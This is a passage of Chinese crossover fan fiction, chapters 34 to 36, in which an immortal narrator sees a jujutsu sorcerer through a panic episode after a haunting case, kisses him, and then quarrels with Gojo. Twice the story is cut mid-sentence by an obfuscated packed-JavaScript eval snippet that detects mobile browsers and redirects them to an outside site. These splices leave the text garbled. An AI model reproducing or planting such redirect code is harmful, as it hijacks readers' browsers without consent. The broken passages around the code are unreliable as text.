夏油杰右手撑持在书桌上,颤巍巍支棱起身体,从你离开后,他可能一直没动过。 有一定可能命不久矣的近藤似乎还是没从这几分钟中反应过来:“……这就,结束了?” “如你所见,纠缠你的恶灵被我们解决了。她消失的过程你应该无所遗漏地看见了才对。” 近藤青迟疑了,似乎也觉得或许就是你说的这么回事:“那么刚才……你对我说的话?” “你说笑了,我没有和你说什么呀?” 就这样一来一回,恍惚的女人一步一步往门口走去,她的腿仍然受惊惧影响,招架不住身躯,她的脑袋应该也像这样瘸,你盯着她后背想。 34.第 34 章 你准备招呼夏油杰去吃宵夜,硝子点了好东西,她刚才在信息里这样回你。 他吃不吃得下就不是你该考虑的问题了。 你不是没瞧见被他攥在手中几乎要彻底变形的海绵--疗养院在所有棱角处都铺上了柔软的东西,你也能一眼看见他手背的青筋,不过你告诉自己:他自己选的。 夏油杰正在经历一场脑内风暴,他会挺过去的,最终会的。 “前辈--” 有人打断了你,真是的……你一点也不吃惊呢,反正也不是第、一、次了。 想说的话都咽下腹中,你听他还想说什么。夏油杰对行将走出去的女人说:“等一下,近藤,女士。” “关于,你的女朋友,你就没有什么想说的吗?” 她因为这句意义不大的话一惊一乍起来:“什么,什么……我不明白你想说什么。” “……” 你给自己在全房最干净的床脚挑了个好位置坐下,在这里,你能瞧见夏油杰脸上隐忍的汗珠。 他的沉默不言让本来都要出门的瘦削身影凝滞在原地,她被你忽悠一半的神经又竖起来聆听风吹草动:“刚才,你们不是看见了吗?那个东西!那个东西才是杀害她的罪魁祸首!我们也是不知道怎么的就被纠缠了,我只是太害怕才和她分手的。没错,就是这样。” 夏油杰轻哼了一声,说不上来是轻蔑还是因为难捱,他问:“这样啊,是我误会了,我以为你故意要害死她。难道不是这样吗?” 唔。 不是看热闹的好时候了。你站起来,两步并一步指望将不爱被揭穿的凶手隔离出病房。 今天他们却都不是很配合。 可能因为这里是疗养院吧,你在第一次推没推动的时候自嘲想。不近视的人不会前往眼镜店,所以今天在此的你们精神多少都不正常。 你面无表情。 人不在疗养院发病,还能在哪里呢? 呼呼的风声陪衬她失控地大叫:“我有什么错!我有什么错!我只是想活!” 在大部分时间里你习惯,也偏好使用文雅的手段,诱惑,杯的馈赠不用白不用。不过这不意味着你的手上功夫有所差漏。想解决这个事情的流程主要有以下两步:一击干脆利落又力量感十足的手刀,还有响应一流的警报护工体系。 很快,一队白色的人就接走了这个小身材大动静的女人。现在你是团队里的顶梁柱了,偶尔也能在前辈的面前遮风挡雨,你状似无意攀谈:“近藤小姐以前也经常这样吗?精神崩溃。” 在职员工或许福利不错,训练有素,深夜出工怨气一点也无:“害,常有的事情了,虽然她也才来几天。” “我说呢。”你对愿意接茬的夜班护工微笑,“接下来还要拜托你们安抚她了,在尖叫一声以后她忽然昏死过去。” 你关上门。笑容奇迹般消失。 “前辈,你还好吗?”显然,他不好,他失态了。 “……铃木,你是不是早就知道?” “嗯……算是吧。”他张开嘴巴哈气的样子令你没想到,不过他既然面向了你,你就对他耸耸肩:“夏油前辈,我和你说过两次的,你好像不想知道。” 半晌后,他对你挤出一个勉强的笑,空洞得像你们几部外的窗框:“对不起啊,铃木。我今晚……我本不应该让无关的事情影响判断。咳,是我的错。” “没关系,你并没有对不起我。我们现在去吃宵夜吗?” 夏油泄气一样噗嗤笑出声:“你就,你就不能给我点别的反应吗?” “硝子前辈给我们点了大人奶酪,我没吃过那个,她说很好吃。还有火腿无花果版本的,已经被她吃得只剩一块了,如果吃得下我们可以再点。” “……你不生气呀,是我自作多情了。”他收敛起表情,再和你说:“不过还是对不起,我误会了你。我就不去了,我在这里睡一晚。” 真的吗?床和露天20米跳台仅隔一米,360度无遮挡夜景的房间不适合居住。你提醒他:“会着凉,不然你和辅助监督睡一起吧?” “他在哪?” 你在床沿为前辈示范了一下辅助监督连梦中都在沉思的姿势:“至少吧,能睡着,而且有空调。” “……” 你太幽默了,他勉强的移到床边,你让开,他就不管不顾地倒在枕头上:“抱歉,但是……”他后面说的很小声:“我有点害怕。” 很合理。他原先就有心绪起伏的倾向,现在,过往的回忆都像泄洪一样倾倒在淤堵的瓶瓯中了。说完他就闭上眼,你就在边上瞅着他的脸被脆弱的月光照亮。 几分钟过去他的眉头倒是更皱了,皮肤下隆起的小山丘正在经历一场想要湮灭小飞虫的地震,一道浅浅弧线的眼睑处却分毫没有想要睁眼的迹象。 你想,既然你情愿在这么冷的地方呆了这些时候,其实就已经代表自身的某种倾向。 你本来可以拍拍屁股去吃芝士享受暖和氛围的。 你本来可以把他丢在这里,反正他会好的。 你抿起嘴唇,是怜悯?同情?还是想要再结个善缘?不好说,但你就是喜欢做没有规律可循的事情。 你通过蜘蛛之门前往了漫宿一次,这次的旅程有些匆忙,但你是带着目的前往,达到了就离开。你在漫宿的中心,一切道路的枢纽,聚点,再次见到了弧月。 她镜子般的脸庞和夜色般的蓝光让你一瞬迷惘。就在这时,你清楚,你的目的达成。你匆忙转身顺原路返回,她是不带一点阴霾的真理之司辰,讲究平衡,你是如今不打算再追逐她的长生者,自然也不会给她多点目光。 恐惧……这种情绪的消除主要有两种手段,一是物理消除,在1920年,有一些如今已被现代医学列为违禁的药品,它们让人成瘾,也给人带来安逸。你已经没有搞到它的手段了,这里是2006的现代社会。二是同样由漫宿施加的影响,其名为入迷。太过接近辉光的幻象容易让人沉醉迷茫,不过对恐惧而言,它就是一剂恰到好处的猛药。这就是所谓的以毒攻毒吧? 你不晓得见到弧月就能收获入迷的原理为何,也许是她镜子的脸,也许是蓝色的光,但总之运气不错。要知道,也不是每次都有机会见到司辰的,祂们想去哪里谁也管不着。 你从梦中醒来的时候已经从站着的姿势滑为坐倒在墙边,你的手面上还有一些细碎的没有扎到肉里的玻璃渣,轻轻甩动让它们脱落,你扶墙站起来。条件捡漏而危险的房间另一侧,夏油杰仍然一动不动躺在床上。 你看了一眼时间,仅仅过去了十分钟。 抬脚向他走去。 就在你距离他半臂之隔的时候,原本因为不适而皱缩的他的表情舒展开,夏油杰睁开眼。 “……” 你们两谁都没有说话。他以视线推拒你的再进一步,宛如负伤的野兽拒绝其他足以威胁它生物的靠近。 你鼻子里呼出一口重气,一时间竟然被他的真实反应指摘挑剔得生了气。你为这件事情激起笑意,说出的话却不那么友好了:“前辈,你刚刚还和我道歉来的,你说你误会了我。说了两次。” 你问他,这是在做什么? 他没有盖被子,手上的动作也一览无遗,夏油杰随时在准备召唤自己的咒灵出场--那是他结印的预备动作。 “……你别过来,让我一个人待一会,好吗?铃木。” “答案,”你面无表情的时候神态是统一的,你猜他就像现在这样突然难以忍受你的冷脸了,现在你勾起讥讽的笑意揭晓:“毋庸置疑。” 你是长生者,他是特级咒术师,你们之间的差距,如果你想,是可以任你拉大缩小的。现在,他又很恍惚,下一个瞬间,你就冲到了他边沿,膝盖狠狠地压住了他的手,你侧身跪在床边。 这个姿势令你很不舒服,床边拱起的海绵硌着小腿,另一条腿的膝盖下面还有试图挣脱的猎物。 夏油杰睁大了眼,仿佛看见了最深的噩梦,他的肢体近乎抽搐,表情也难堪起来:“你--” “原来,你还有被迫害妄想症。”现在轮到你低下头直勾勾看向他的眼睛,你说:“可是我要你的命又有什么用呢?还是说,你认为自己知道了不该知道的事情,就开始妄想我要因此伤害你了。如果是那样的话。” 你最后一字一句说给他听,每吐出一个音节,你就多靠近他一分,到最后,你的吐息就隐没在他的唇齿之间了。 “一开始就不必自以为是地靠近我。” 这是事实,被你埋藏了许久,现在说出来倒像是一种埋怨了。 不过,你并没有这个意思,只是夏油偶尔也该知道。 从你开口,到你们肌肤相贴,时间并没有过很久。他的嘴唇冰冷,呼吸也是冷的,如果这片刻的接触可以定性为亲吻,这就是你长达百年的生命中最差的一个吻。 你将漫宿带来的【特效药】渡到他口中,走流程一样,嘴唇上的触感稍纵即逝。你对他的齿关吹一口气,那份【入迷】的影响就从你的身上转移到他身上。 你松开横架在他咽喉上的虎口,抬起紧贴他脉搏的手指,高抬贵手给了他畅快呼吸的自由。接着是你顶在他肋骨上的手肘,或许也许大概你在十几秒之前出于聊胜于无的泄愤给了他一次不轻的肘击。然后是你压迫着他手的膝盖,像动作的倒放一样,你退了开来。 眼下,你不愿把注意力放在这人身上,也不乐意多和他说一句话。不过如果真的什么都不说岂不是显得你真因此而生气了?你走到房间门口的时候--远超安全距离--回头,维持表面姿态告诉他:“前辈,睡一觉就没事了。我们明早见。”说完不等他回应就关上门,因为空气过分流通的原因,门撞上门框的声音还很响亮。 你舒服了,酣畅淋漓的感觉就像前些日子你在论坛上,回复完一个匿名网友然后转身下线那样。 也许他真的有几分事情脱离控制的害怕,也许刚才发生的事情都是惊惧的并发症,不过你对他的帮助总是出于好意,因为以前他温柔又可亲。现在他却忌惮又怀疑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13715366|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多说无益。 你去吃了大人奶酪,还连带吃了几串烧鸟。 “夏油呢?” “前辈啊,他说自己累了,要在那边睡一觉。”你面色如常,啊呜一口把竹签上的肉吞下。 “嗯?”硝子感到稀奇:“我以为他会像监护人那样领着你回来呢。” 监护人?你捧着可尔必思乐呵:“不至于吧。” “他挺关照你的。” “真遗憾。”你对硝子笑:“那我或许应该给他盖个被。你懂的,尽孝。”可惜你没有,也不打算这样做。 今天,收获颇丰,但也做了无用功,你们要是在舞会那边不乱跑,现在已经得到四间客房了。然而……也不能指望事事都得到预期的结果,你没获知更多长生者晋升的信息,但你还有数不清的时间去抵达那个目的。 不急,你在这个时候才有闲暇宽慰自己。即便当真又几十年没进展,你过的也不过就是普通人无为的一生。悲惨的是,他们到点就会衰老,最终为死亡收割,而你还有一个又一个几十年,直到迎来不得不面对的终点。 过了一会,硝子又来打探:“你们在来的路上有点奇怪,发生什么事情了?对了我在你发消息后就回复了岩守女士的信息,现在她应该也在赶来的路上。” “没什么……调查的时候我亲了他一下,就是,情难自禁那种。”两块小食下肚,你从今晚的失败失败和失败中抬起头,决定在未来还是要面对挑战昂首阔步,不过在此之前,你需要解答硝子的提问。 “喔?喔!”她睁大了眼睛,和你确认:“是在开玩笑吗?还是认真的?我刚才有点困的,现在不了。” “真好,看来我们晚上有地方睡了。”你正经地为岩守的即将到来而开心,然后回答她:“真的,后来我们都很后悔。我不应该离开休息室,今天。” “那五条呢?你和他……” “硝子前辈,别问了。”你捂住了自己的眼睛连带额头:“既然你想知道,那我也不希望你是最后一个知道的。至于其他的,额,我承认,是我太冲动了。” 你说的事情很惊人,但你的表情又很痛苦。硝子对你点点头:“是我小瞧了你,星夏。我不对此评价,但他们两个……游走在一对不好惹的朋友中间仍然是一件危险的事情。” 硝子的话在圣诞节后一天有了应验。 但今夜,你们在附近的旅店里暂留一晚,因为前来的岩守并非是为了你们几人,而是…… “珠宝和首饰你们都有好好留着吧?我要给他们送回去。” 现在五条悟又睡着了,夏油杰已经确定今晚不会再出现,这一切足以让一个结束病假没多久的辅助监督天塌了,就算她比看起来更加大有来头。 岩守知子的崩溃肉眼可见,比她白天的伪装真实许多:“我应该怎么办?” 你将自己换好的衣服双手奉上:“女装比男装贵许多,对吧?” “……” “退一万步说,今晚我们救了近藤小姐一命。”虽然在这以后一段时间她可能会死于导师之手。你和岩守是同一战线的,先把这个完成度有待商榷的任务糊过去为好:“没有什么比生命更重要的事情,对吗?而且这件事情怎么说也是咒术师自己擅自行动,你是辅助监督,女士。” “……” “我和硝子前辈还有五条前辈需要一个住的地方。”有求于人的时候要用敬语:“岩守女士,帮帮。” 她来了,她走了,还搭上两张大额钞票。 硝子:“岩守女士看起来都没那么伤神了。” “一上工就遇到难缠的事情,没时间难过了。哎呦,硝子前辈,别揪我耳朵。” 五条悟睡得很沉,你把他从墙角背起来的时候他都没醒。你背着一个比你高二十几厘米的人从这条街走到旅馆。只因为硝子告诉你:“星夏,这可是你自己惹的麻烦哦~”不过她还是在中间搭了把手的。 “你力气挺大,我以为五条很重。” “你没想错,硝子前辈。”你这下是真回忆起了上个世纪的劳工之职。 好在一切的事情都在入住后得到了解决。 在和前台说明完你背上的人还活着,并且只是睡着后,硝子在前引路,你把五条完好无损的运到他的房间。 她只在最后问你一遍:“不帮五条脱鞋吗?” “快跑吧,硝子前辈,夏油前辈都没被子盖呢。而且他还得应对寒风。”你打开空调,确保睡得正香的人不会因此着凉,在盥洗台洗了把手就匆匆离开,“到我们休息的时候了。” “你还真是……” “确保前辈有睡觉的地方是同伴应该做的,其他的就算了。” 你们只进行了基础的洗漱,卸妆也只用了酒店提供的肥皂。 快熄灯的时候,她的声音在你旁边的床上响起。硝子应该是在坏笑:“我认为五条是吃醋才喝下你那杯酒的。” 你说:“前辈,已老实,求放过。” 你控制咒力精准地叩击在开关上,它应声灭了光。 35.第 35 章 硝子放过了你,但事后的总结和报告没有。 你们在安顿隔壁五条悟的时候,硝子给她留了字条。睡眠充足的他很早就醒来,一醒来就敲你们的房门打搅。 咚咚咚:“起床了,太阳晒屁股了。” 你先用被子裹头,然后探出半个脑袋,反应过来,询问硝子:“前辈,你去开门吗?”你知道他一定也被吵醒。 “我不,星夏,你呢?” 你和她达成了一致:“我也不,昨晚我有关好防盗锁。” “那就好,我们不管他。对了,夏油怎么样了?” 你对夏油杰的作息并不清楚,只说:“他手机在身上的,所以……” “好。”那边传来哈欠声:“才六点,我才不理他们。继续睡。” 接收到了来自可靠前辈的指令,你开始实施军事化作息--长官不说话,你就不起床。 事实上,你成了圣诞节最晚醒来的赖床鬼。 “别这样说辛苦了一整晚的人,前辈,我把你从居酒屋拖到酒店里来的。他们一开始以为你死了。”在硝子洗漱完毕后,洞开的门扉无条件接纳早上敲门试图进入未遂的五条悟,你缩在被窝里,请他不要这样称呼你。 “所以裤脚上的污渍是因为你咯,铃木?” 坏了,多留下一个话柄:“……你太高,而且压弯了我的脊梁。” “抱歉,星夏,我一开始只想让你多睡会。结果一开门那家伙就进来了。”硝子推了一把在墙角没转进双床居室的同期,让他再后退些:“你就不能学学夏油,只站在门口吗?” 他振振有词:“杰感冒了。” 硝子反问:“你还怕这个?” 这么说来,他们都在等你。 你套上衣服就简单的漱了口,擦了擦眼睛就退房。今天来接你们的辅助监督换了人,他要把你们直接带到夜蛾老师那里去说明情况。虽然是圣诞节,但四人团队氛围奇怪得很,其中三人都不愿意点破,只有一个无论是身高还是性格都高调的人前跑跑后跑跑。 “铃木,你怎么这么没精打采。眼眶很黑。” 你坐在副驾驶回头瞧了眼坐在中间的五条:“累了,而且--”你抹了一把眼皮,然后手指往后递,告诉他:“这是卸的不干净的眼影,谢谢关心。” “我说呢,你眼睛小了一圈。” 你迅速说:“困了,前辈们晚安。” 接下来一路,你没睡着,也没睁眼。 对于夏油杰来说,来到疗养院发生的事情就和做梦一样,现在,梦醒了。唯一与做梦不同的是,人会遗忘梦境中大部分内容,然而他一件件都能记得。 他记得自己听见你出言近乎恐吓的话语,也记得在那之前是这个继承人先出手试图把你推下高楼,还记得自己的警惕与不安,还有后来的一系列事情,最后是你冷漠的背影。在那之后他的恐慌症状就有所缓解,再然后,是真的梦境。 因此被挚友问及昨晚究竟发生了什么时,他在多数时候选择了沉默。尤其,五条悟的第一个问题就是:“我是怎么睡着的呢?” 他低下头,眼神晦暗难明,在一阵暗涌后,冷静开口:“你喝多了……” 最终,夏油杰选择履行对你的承诺。或许他意识到了自己在一条不可控的道路上行走,但也只是清醒地再推自己一把。 你在心里评价:理智回笼后的他还是比较令人放心的。 不过交流就免了。 在回到高专后,你也没机会和夏油在路上对口供。从他颇有暗示的表情看来,你认为他是想和你聊两句的。可无论如何,五条悟都在你们中间。时而凑到他那边,时而落在你后,夏油杰连开口的机会也没有。 第一次被带着和前辈们一起开小会。这是新奇的体验,尤其是五条不会抗拒夜蛾老师从上而下的一拳这部分令你感觉新鲜。 你们老老实实跪坐在地上。 “不管发生了什么,先问责五条前辈已经是传统了吗?”这么说来他今天也帮你背了个小锅。 “星夏,低调。”硝子没用力地扼住你命运的后颈,捏了捏发丝下薄薄的肌肤:“只是一点财产损失,没酿成严重后果。” 她比你更熟悉夜蛾正道的风格。 果然,在谴责一通你们不按规定行事自作主张的风格后,他传达了委托方腔调官方的谢意。 “根据近藤家传来的信息,你们救助了一名继承人。”如此这般如此,最后,你们只要写一份报告就能了结。从现场的破坏还有附近人的动静来看,这都不是严重的事故。 不过……有件事情需得你主动提起:“老师,关于昨晚疗养院的事情,有一件值得再被提及。造成这件事情的,就像先前探查的窗和辅助监督所言,很可能不是咒灵,而是其他物种。” 这件事情就引起尚不知情的三人关注了,而另一个知情者,他望向你,不明白你为什么要主动暴露出来。 夏油杰很聪明,可还是道行太浅。 你对夜蛾正道详细描述了镜中少女的出现时机和情景:“午夜零点,在镜子里钻出来,周围就变冷了,空气像被冻结一样。近藤女士也能看见它,她吓坏了。被咒灵选定的将死之人有些也能见到恐怖的东西,这是在收敛死于咒灵的一般民众遗物时我们发现的,有些日记记载和录音证实了这点。不过我没在它身上感觉到一点咒力。” 该坦白的坦白,才能及时把自己撇清关系。 更何况,你猜测,这件事情有概率重回高专视野。如果近藤死亡的话…… 你忍不住想叹气,还是所亏大于所得,时隔多年,你又有了被盯上的可能性。 老师疑虑重重地让你们先行离开。 回去的路上,五条问你:“你怎么才说,而且,杰为什么不说?” “不知道,可能忘了吧,昨天我们超负荷工作。”你抽回手:“不像你命好,前辈,我也希望有你这样的睡眠。” 虽然说到底还是你让他睡着的。 “……你能不能好好说话?” 过了一会,他又凑过来:“你去干嘛?” “这个方向还能到哪,我去洗澡。你要一起吗?”你热情地邀请他。 五条:“……” “我只有一个问题。”他把你拉到路边,低下头看着你:“你昨晚和杰,你们在做什么?” “你希望我们在做什么呢?”你用余光望见硝子和夏油往另一个方向走去。 “什么叫我希望你们在做什么,你怎么能和杰……”他后面的声音忽然降了下来:“你怎么能和他做那种事。” 你后退一步:“那种事,哪种?我不明白你在说什么。” 五条悟对你咬牙:“你是故意的,就是想看我不敢问你的表情,是不是?” “没有。”你矢口否认,“我哪里有这么坏心。” 不过他蹙着眉想凶你又无可奈何的表情,确实取悦到了你。 “你……我看见他亲你了。你告诉我,他有没有亲你,昨天?”五条悟认真向你求证。 现在,夏油杰也帮你背了个锅。 他略微弯下的要,探向你的眼神,还有水面上鱼漂一样起伏的喉结,他似乎在等待你咬钩,然后就能尽情批判和支配你了。你又不是鱼,才不做那种事。 你抬起手碰了一下他的喉结。 他很快扯下了你的手,可脖颈处明显的滚动瞒不住包括他在内的所有人,也就是--你们两个。接下来,你的嘴唇被你踮起的脚尖送了上去,五条悟拉住你的那只手也派上了用场。 你稍微借了点力。 嘴唇微微张开,贴合上那块他喉头控制不住滚动的小圆点。你的舌尖扫过他薄薄的皮肤,在那上面点了一下。你用另一只手抽空摸了摸他的锁骨,隔着衣服。 他没动。没有推开你,也没有握紧你。 在一次轻度的吮吸后,你被他推开了,他左右两只手拽住你的手腕,不至于使你后仰摔倒。 “这个问题很难回答吗?”他强硬的语气和刚才又不一样了。 “不难。但你可以不要问我吗?” “……”不知道他的脑子是怎么想的,但他又笃定地说:“你们接吻了,对不对,所以杰今早不敢和你说话。” 首先,夏油杰今早没能和你说上话的原因就在你面前,他本人竟然表现得无所察觉;其次,他话中的因果关系似乎暗示了一些显而易见的事实,至少,是五条悟身上的事实。 说得好像他很喜欢你一样。 你问他:“你很喜欢我吗?那你为什么不和我告白,请我做你女朋友呢?”这点确实深深引起了你的好奇。在你还年轻的那个时代,当一个人喜欢另一个人,不可避免的就会产生求偶的行为。 关于这个,五条悟似乎从来没表现出来,是你无意间错过了吗? 他目光如炬,直射你的眼睛,冷峻的脸色在隐忍怒意:“我们没在说这个。你现在只要告诉我,你们有没有接吻。” 你见过正常的追求流程,几次约会,几次电影,一场晚餐,一束花,最后大家去见神父,还有亲朋好友陪伴什么的; 你也见过非正常路径,几场邀约,一个暧昧的信,信封里或许还有点钱; 还有最方便实在的那种,在社交场合偶然结识,偶然发生一些亲密的举动,再见面的时候大家还能是初见的陌生人。 你以为五条悟是那种只如初见模式的自由人。他表现得也正是如此,唔,至少在此刻,你们所有人都是单身。他又像昨天一样质问你了,好像你做了什么不该做的事情。 你才没有。 这两天你变得计较了,你也知道。尚且不理解它代表了什么,但当下,一阵心头涌动的躁动驱使了你。 你仰头:“是,我昨天亲他了,那又怎样?”这就不得不说起你人生中最糟糕的一个亲吻了。 他的眼睛因回答印刻上极大的愤怒,蓝色火花燃烧瞳中。 你感觉自己被一道斥力推开,你见到了他眼中的蓝光,便知晓他又动用了术式。向后退了几步才稳住身形,可他看都不看你一眼,像一阵风一样从你旁边疾步走了。 几秒钟后,你听见夏油杰惊讶的声音,他的鼻音很重:“悟,你怎么……铃木呢?”这是他在这个冬天第二次着凉了。 倒也不必什么事情都这么赶巧。 你在几秒钟后从路口转弯,看见了一脸摸不着头脑的夏油杰。 “悟怎么了?” 你来的时候已经看不见五条悟的影子,想必他走的很快。你说:“不知道。前辈,顺便,我和你也没有什么好说的。再见。” 你也走得很快。 后一天,那天在疗养院的监控就到了夜蛾校长手中,他还通知你去看监控,你以身体抱恙为由请假了。 同行的咒术师三个有两个你不想见,还有野心巨大的辅助监督。今天难得没任务,你选择在灰原那串门。 在你游戏领域大杀四方的时候,七海前来观战。 “七海你能帮我加油吗?铃木有点厉害。” “我要出门买面包,你有什么要带的?” 灰原此刻孤军奋战,迫切需要一名友军,于是央求他:“我什么都不需要,你能看我打会吗?晚点我和你一起出去。我觉得我还是能赢的。” “……”自愿为同期跑腿,结果干脆人被留下了。 “再来10个人看也是不管用的。”你放出豪言壮语,觉得自己对最后的胜利十拿九稳。 你输了。 胜者灰原喜滋滋地要请你喝可乐。 “快收起你狡诈的笑意,灰原。” “对不起,铃木——你挺强的。” 死小子学会用别人的失败自台身价了,你也让七海出来主持公道:“他像话吗?” 七海一句话止息争端:“灰原,收敛点。你打不过铃木。” 现在轮到你在七海的右边朝左边灰原做鬼脸了。 你们在外面度过了愉快的半天。下午你陪灰原去看电子设备的时候,接到了硝子的信息:我看见监控了。 硝子:你很 硝子:勇敢 硝子:夏油看起来很不情愿,但你走了以后他盯着门看了好久。 硝子:他没盖被子,怪不得感冒了。 硝子:幸好你没事。我是说,那个委托人差点把你推下去。 硝子:夜蛾老师看完袚除部分就离开了,你放心,他没瞧见你的强硬举动。不过五条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13722441|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很生气哦,他不说话了。我在他们两个之间很尴尬,你应该补偿我,星夏。 灰原关心你:“怎么了铃木,你的手机一直在响。” “我现在把它静音。”看样子硝子正在专心致志给你发简讯,一连打了这么些字,现场的情况好像都在屏幕里播放出来了。正好,你们在一台DV前听售货员介绍。她没因为你们是学生模样而小瞧,还在极力和灰原推荐最近上新的这款。 很快,他又全神贯注与摄像机:“最后拍摄好的磁带要去什么地方导出视频呢?” “我们店里免费为消费者提供这项服务哦,当然,如果住得距离稍远,也可以去那边附近的门店。” 他说出筵山这个地方以后,你就没再留心在店里。 硝子:你比较喜欢谁呢,星夏? 都不喜欢,你摇了摇头,开始回消息。 铃木星夏:前辈想吃什么,我在市区,今晚双手奉上。 铃木星夏:事情有些复杂。我和夏油前辈在委托人的研究室里找到了可以称之为证据东西,那台电脑后来我没带着,放在导医台了。但她们应该是在从事召唤某种裂隙之下的生物的仪式。 铃木星夏:正如我们知道的,仪式出了差错,那样东西开始追杀,模特是第一位受害者。而且,我认为近藤女士似乎有想借追杀她的生物之手除掉夏油前辈的意思,同时我是咒术师里比较弱的那个……我是说,她的力气比她看起来大不少。 铃木星夏:不过看起来她错估了夏油前辈和我的实力(^o^) 过了一会,灰原确认了购买意向,而你神思还在手机上。 铃木星夏:我注意到她很用力地握前辈的手,指甲抠出了血,而且让他说出【会保护你】这样的话,或许是因为这个,召唤物最终才紧盯夏油前辈不放。 铃木星夏:至于她为什么想把我推下去……她看不见咒灵,自然不明白特级的含义,如果夏油前辈死亡后召唤物就阶段性消失,加上奇特的攻击迹象,我认为在口供阶段她就会受到监控。 铃木星夏:所以,在灾难发生前试图灭口吧。我往她身上踢了点玻璃以示惩戒。 你赶紧说点别的事情,把无趣的人际交往问题覆盖。 喜欢谁?嗯,就不能都挺喜欢,但都不够喜欢吗? 结束时,你帮灰原拿着新买的摄像机,他和七海进了面包店选购,你照例拿出手机看有没有新发来的消息。 只有一条,7分钟前。 硝子:你不是说你发烧了吗? 你回复:骗老师的,两位前辈还有辅助监督都让我头疼。对了,硝子前辈,今天岩守女士也在吗? 直到晚餐时间你才收到新的消息。 硝子:五条把我手机顺走了,上条消息是他发的。 你回:有内鬼。 硝子:我教训过他了,但幸好你只回复了任务补充信息。他这个人啊…… 硝子:不在,她今天有其他任务。述职应该留到往后。 你收起手机,几乎可以想到五条悟皱着眉头不悦看你的表情。如果他听见你当面说不想看到他,或许就会那样吧?不过眼下还是不要见到他比较好。 应你的期待,接下来一段时间,你既不清楚他们有无任务,也不加入他们的行动。你仅仅只加入硝子的反转术式和解剖业务里去。 临近新年了,最近的医患关系比往常差些,不过对于需要治疗的人来说则是好事 --无他,活人可比死人意见多。 硝子和你闲聊:“你在除夕夜有什么安排吗?” 你说:“没有。” “他们一个都没找你?” “没有。” “好,那你帮我写两份报告。五条喊我晚上出去吃饭来着。” 你抬头,从医疗器械中脱离:“前辈……” “不愿意吗?” “倒也不是,”你趁此机会对她提出一个请求:“我最近总是忍不住想到老主顾。康子,你对她还有印象吗?” “毕竟是【康子的味道】那个康子,我想忘记也难,怎么了?” 你把药物清点整齐,关上柜门,就在日常工作中不经意提起:“我想看她那次的任务记录报告,如果是你的话,应该能拿到吧?” “可以。看不出来你对她还有点感情,要为她报仇吗?” 那没有。 你没有把对岩守的疑虑说出来,毕竟你自己也不清白,你摇摇头:“只是我仍然觉得,死在咒灵手里和死在人类手里有所不同,我想看看她的最后一次任务。” 硝子没有直接答应你,稍后,她询问:“星夏,对你来说死亡是不一样的吗?” 你答:“寿终正寝和飞来横祸,死于战场和死于谋杀,当然,前辈。我认为即便对亡者而言,这其中也有不同,可能这就是有些人死后也能成咒灵的原因吧?他们的怨恨直冲云霄,甚至能抵达我们也看不见的地方,成为另一个物种。” 说到死后,你知道有位司辰便是死后成为具名者,又从具名者擢升为司辰。好巧不巧他曾经信奉赤杯,又被赤杯背刺,在牺牲后于血中重生,直接成为司辰。 轰雷之皮,在你所知的司辰中你比较佩服他。他曾是凡人,为追随赤杯自我阉割,又剥下自己的皮。残躯中诞生了这位连升两级的具名者;再然后,他的主人赤杯欲望永不止息,许久后因为某件事情又出卖了自己的具名者……不过他励志地成功活了下来,不仅如此,还升格为她的同等阶存在。 现在他是心之领域的霸主了。 这个励志小故事主要给了你两点启示: 1.人类是有潜力的,而你有榜样在前; 2.赤杯当真不可倚靠,麾下太弱的会被吞噬,太强的容易被拿去交换,其中权衡的个中滋味总感觉不太妙。毕竟每位司辰只能有7位具名者,这听起来属实吓人。 对于随意被当成筹码这件事,你有点阴影,不情愿再体验一次。 “我也希望他们死后依然不灭。”最后,硝子摸了摸你的头:“我会帮你弄来的。” “前辈,注意保密,拜托了。我的意思是,能请你不要和任何人多说这件事吗?” “当然,星夏。我会守密。” 36.第 36 章 灰原在新年的时候和家人们团聚去了,七海房间的灯还亮着。 你敲响了他的门:“喝酒吗?” 七海不得不提醒你:“……你今年多大?” “如果我是1900年出生,那我现在就107岁了。” 他以为你没开始喝酒就说疯话,但给你还有你的酒瓶留了可以进房门的位置。进门时,你无意间瞧见他正在做的事情,一本本子摊在桌面,而一只笔搁置其上。 你不靠谱猜测:“你还有写日记的爱好?” 七海沉默了一段时间,居然没反驳,在你惊讶望向他时才说:“有助于记忆,以及事后分析。” “看来你有难以派遣的情绪。灰原也不是倾诉的好对象。”你说,不过你认可他的观点:“如果我有手记的习惯,现在就不会忘那么多事情了。” “因为我是咒术师。”他说,似乎在暗指这份职业的沉重。 “是的,做我们这一行,最忌讳对客户动情。” 他为你拿来两个杯子:“……你可以去医院看看脑子。记忆缺失不是正常现象。” “后面半句是你加上的掩饰吧?”你给他满上,也给自己倒了大半杯:“没必要浪费挂号钱,我的脑袋一切正常,身体也是。我只是……被诅咒了。” 七海:“……” 你:“……” 稍后,两杯食用酒精下肚,他先是问你:“你到底要不要说?”再是给你反馈意见:“我不喜欢含糖量和气泡量太高的酒。” 你先是有礼貌的提醒他:“我买的,我做主。”再是问他:“说什么?” 七海的额头上爆出青筋:“铃木,我要请你出去了。” “别别别。我以前不是和金毛谈过恋爱吗?” 他重申,并且已经在房间里站了起来:“真的要请你出去了。” 